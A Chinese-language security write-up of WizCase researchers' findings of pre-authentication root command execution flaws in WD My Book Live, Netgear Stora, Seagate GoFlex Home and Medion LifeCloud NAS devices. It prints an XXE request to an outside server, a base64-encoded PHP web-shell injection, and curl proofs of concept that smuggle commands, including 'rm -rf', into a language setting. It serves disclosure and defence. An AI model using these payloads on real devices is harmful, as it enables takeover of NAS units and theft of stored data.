来自 WizCase 的安全研究人员在 WD My Book,NetGear Stora,SeaGate Home,Medion LifeCloud NAS 中发现了多个漏洞。
NAS 设备已成为许多中小型企业(SMB)的首选存储设备。它们价格低廉,易于操作,如果空间不足,可以添加额外的存储空间。但它足以保护公司数据吗?我带着这个问题阅读了安全研究人员 Paulos Yibelo 和 Daniel Eshetu 的研究报告,看能否将这里的漏洞利用在 NAS 设备中。
我们专注于发现那些只能在没有任何用户交互的情况下可以远程利用的关键漏洞。这意思是说,认证绕过是不够的。我们希望以最高权限远程执行设备上的命令,结果我们在所有设备上都取得了成功。
一、研究结果摘要
在本项目中我们使用了四种流行的NAS设备:
1. WD My Book
2. NetGear Stora
3. SeaGate Home
4. Medion LifeCloud NAS
通过了解其 IP 地址,我们成功的在设备中获得了 root 远程命令执行,从而进入了它们所在的网络。
测试的所有四个NAS设备都遭受 0day 未经身份验证的root远程命令执行(preauth RCE)漏洞。
漏洞允许黑客、政府或任何有恶意的人阅读文件、添加/删除用户、添加/修改现有数据,或在所有设备上执行具有最高权限的命令。
我们相信有许多其他 NAS 设备遭受类似的漏洞,因为 NAS 设备似乎缺少预期的模式。
在本文发布时,这些漏洞(称为 CVE-2018-18472 和 CVE-2018-18471)仍未修补。
在线有近 200 万受影响的设备
二、CVE-2018-18472—Axentra Hipserv NAS固件中的XXE和未经认证的远程命令执行
Axentra Hipserv 是一款运行在多个设备上的 NAS 操作系统,可为不同设备提供基于云的登录和文件存储及管理功能。它被不同供应商用于多种设备,具有共享固件的受影响设备是:
Netgear Stora
Seagate GoFlex Home
Medion LifeCloud
该公司提供的固件具有一个主要使用 PHP 作为服务器端语言的 Web 界面。Web 界面具有 REST API 端点和文件管理器,是一个典型 Web 管理界面。
固件分析
解压缩固件并解码文件后,php 文件位于 /var/www/html/ 中,webroot 位于 /var/www/html/ html 中。web 界面的主处理程序是 homebase.php,RESTAPIController.php是其余 API 的主处理程序。所有的 php 文件都使用 IONCube 加密,IONCube 有一个已知的公开解码器,并且鉴于使用的版本是旧版本,解码文件不需要很长时间。
第一部分: XXE
解码文件后,未经身份验证的话无法访问大多数 API 端点和 Web 界面。其中一个例外是 REST API 接口中的一些端点。其中一个端点位于 /api/2.0/rest/aggregator/xml,它从 POST 数据加载 xml 数据,尽管它使用 DOMDocument 来加载(解析)不应受到 XXE 攻击的 xml。
固件后端的 libxml2 是旧版本。这意味着默认情况下未禁用外部实体加载,因而从此端点可以进行开发利用。通过该方式,可以读取文件并执行 SSRF 攻击,下面给出了一个示例请求:
POST /api/2.0/rest/aggregator/xml HTTP/1.1 Host: 192.168.10.21 User-Agent: GoogleBot/2.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Content-Type: application/x-www-form-urlencoded Content-Length: 246 Cookie: HOMEBASEID=c4be432f8add72db591aaa72c0fbbd34 Connection: close Upgrade-Insecure-Requests: 1 <?xml version=”1.0″?> <!DOCTYPE requests [ <!ELEMENT request (#PCDATA)> <!ENTITY % dtd SYSTEM “http://192.168.10.20/XXE_CHECK”> %dtd; ]> <requests> <request href=”/api/2.0/rest/3rdparty/facebook/” method=”GET”></request> </requests>
上述请求导致 xml 解析器向我们的服务器192.168.56.1发出请求,请求文件 XXE_CHECK。虽然 LFI 有意抓取一些敏感文件,但因为 XML 无法处理二进制数据,因此无法转储 SQLite 数据库来获取用户名和密码。
这意味着我们能够在以下设备中读取文件并发出 SSRF 请求。
Netgear Stora
Seagate GoFlex Home
Medion LifeCloud
第二部分: RCE
下一步是查看 Web 界面(特别是 REST API)如何执行 root 操作。由于 Web 服务器以非 root 用户身份运行且没有 sudo 权限,因此发现 REST API 调用名为 oe-spd 的本地守护程序,该守护程序在绑定到127.0.0.1的端口2000上运行。
守护进程获取 XML 数据,解析请求并执行操作而不进行任何身份验证,除了确保请求来自127.0.0.1。更重要的是,守护进程跳过垃圾数据,直到找到字符串<?xml version =“1.0”?>,如下面的 IDA 代码段所示。
strstr(*input_data, “<?xml version=\”1.0\”?>”);
这样事情就变得更容易了,因为请求使用 HTTP 协议发送,跳过垃圾数据(根据守护程序)帮了大忙。但是,由于不能直接将 URL 放在 xml 文件中,我们让 xml 解析器向 php 脚本(或任何真正重定向的脚本)发送请求,将其重定向到http://127.0.0.1:2000/a.php?d=*payload here*。
由于守护进程存在命令执行漏洞,因此很容易构造一个触发请求的请求。此外,由于守护程序以 root 权限运行,因此可以在设备上执行任何操作。下面给出了有效载荷示例。
* 这个示例上传一个 php shell /var/www/html/html/u.php (<device-ip>/u.php?cmd=id).
<?xml version=”1.0″?><proxy_request><command_name>usb</command_name><operation_name>eject</operation_name><parameter parameter_name=”disk”>a`echo PD9waHAKZWNobyAnPHByZT4nOwpzeXN0ZW0oJF9HRVRbJ2NtZCddKTsKZWNobyAnPC9wcmU+JzsKPz4K | base64 -d >/var/www/html/html/u.php`</parameter></proxy_request>
三、合而为一
为了无缝链接漏洞,我们需要一个服务器,设备可以与之建立出站连接,以及简单的 PHP 脚本,该脚本重定向解析器以发送有效载荷并能处理少量多阶段的有效载荷。
四、CVE-2018-18472—WD MyBook Live未经身份验证的远程命令执行
WD MyBook Live 和某些型号的 WD MyCloud NAS 包含一个可远程利用的漏洞,允许任何人以 root 用户身份在设备上运行命令。该漏洞存在于语言更改中并修改了 REST API 中的功能,以下 PoC 演示了此漏洞。
PoC:
curl –kX PUT -d ‘language=en_US`<linx Command Here>`’ https://<NAS_IP>/api/1.0/rest/language_configuration
示例:
curl –kX PUT -d ‘language=en_US`id > /var/www/id.txt`’ https://<NAS_IP>/api/1.0/rest/language_configuration
poc 将在 webroot 中创建一个包含 ID 命令输出的 id.txt 文件。可以使用以下 PoC 删除该文件:
curl -kX PUT -d ‘language=en_US`rm -rf /var/www/id.txt`’ https://<NAS_IP>/api/1.0/rest/language_configuration
五、措施
· 如果正在使用上述设备之一且已在 WAN 上连接,请务必从互联网上删除设备。(确保它们仅在安全网络中本地运行)
· 务必联系受影响的供应商并坚持尽快发布补丁!
· 我们将在补丁可用时更新本文。
· 我们还建议使用VPN来保护计算机和移动设备免受黑客攻击。 ExpressVPN 和 NordVPN 都使用 AES 256 位加密,并将保护所有数据。(这不会保护免受 NAS 攻击,但它会保护免受其他网络攻击)
六、响应
漏洞报告 CVE-2018-18472 会影响最早在2010年至2012年间推向市场的 My Book Live 设备。这些产品自2014年起停产,不再支持设备软件更新服务。在此,我们希望和鼓励这些继续运行旧版产品的用户配置防火墙,以防止远程访问这些设备,并采取措施确保只有本地网络上的受信任设备才能访问该设备。◾️
Comentários